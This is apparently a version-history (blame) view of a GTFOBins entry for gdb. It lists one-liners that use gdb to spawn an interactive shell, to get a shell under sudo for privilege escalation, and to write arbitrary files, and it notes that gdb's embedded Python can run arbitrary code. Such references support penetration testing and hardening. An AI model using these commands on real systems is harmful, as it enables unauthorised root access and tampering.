2018-05-21 21:14:41 +02:00
|
|
|
---
|
2018-05-28 21:50:01 +02:00
|
|
|
description: |
|
|
|
|
GDB may come with embedded Python support, in that case arbitrary code can be
|
|
|
|
executed with the `python` command in the context of the GDB process.
|
|
|
|
|
|
|
|
See the entries of Python version [2](/gtfobins/python2/) and version
|
|
|
|
[3](/gtfobins/python3/).
|
2018-05-21 21:14:41 +02:00
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-interactive:
|
2018-05-21 21:14:41 +02:00
|
|
|
- code: gdb -nx -ex '!sh' -ex quit
|
|
|
|
sudo-enabled:
|
|
|
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
2018-05-28 21:24:15 +02:00
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
gdb -nx -ex "dump value $LFILE \"data\"" -ex quit
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|